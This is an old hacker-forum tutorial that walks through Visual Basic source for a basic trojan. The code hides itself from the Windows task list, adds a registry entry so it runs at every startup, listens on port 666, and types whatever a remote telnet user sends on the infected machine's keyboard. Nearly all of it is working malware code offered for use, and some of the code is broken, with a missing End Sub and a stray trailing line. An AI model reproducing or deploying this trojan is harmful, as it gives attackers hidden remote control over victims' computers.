--------------------------------
Basic Trojan In Visual Basic
By: Swampy
lord_swampy@hotmail.com
mIRC: #hackers, #ereased #hacking
---------------------------------
About:
In this litle tutorial i will learn you to make a small trojan that starts everytime
windows is started. On more thing, you cant se it in the Ctrl + Alt + Del screen.
In the code all the green text is comments, you donīt have to include them in the
code. When someone has opened the trojan you can connect to it with telnet, and
when you are connected you can press a key and then the infected computer also
presses that key. Hope you have fun with your new knowlege...
Start Programming:
Start with adding a new component into your project. Add the component that is named
"Microsoft Winsock Controls". Now i wont tell you anything else you have to putt into
the form.
Private Sub Form_Load()
App.TaskVisible = False 'This hides your aplication from the Ctrl + Alt + Del screen.
'This adds your program to the windows registry so that it starts everytime windows starts
Dim Reg As Object
Set Reg = CreateObject("wscript.shell")
Reg.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICES\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe"
winsock1.localport = "666" ' this sets your trojanīs port, you can change it if you want to
Winsock1.Listen 'This sets your trojan to listen for connections
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
'Got to do this to make sure the Winsock control isn't already being used.
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID 'Accept the client who connects
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
'If an error accour and the conection is lost, then this tells the winsock to listen again
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_Close()
'same as Winsock1_Error above
Winsock1.Close
Winsock1.Listen
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim data1 As String 'Define the variable to store the recived data from
Winsock1.GetData data1 'Gets data from client and store it in the variable data1
DoEvents 'The computer takes a small break to get all the data
SendKeys data1 'Send the data to the infected computers keybord
End Sub
never mind 
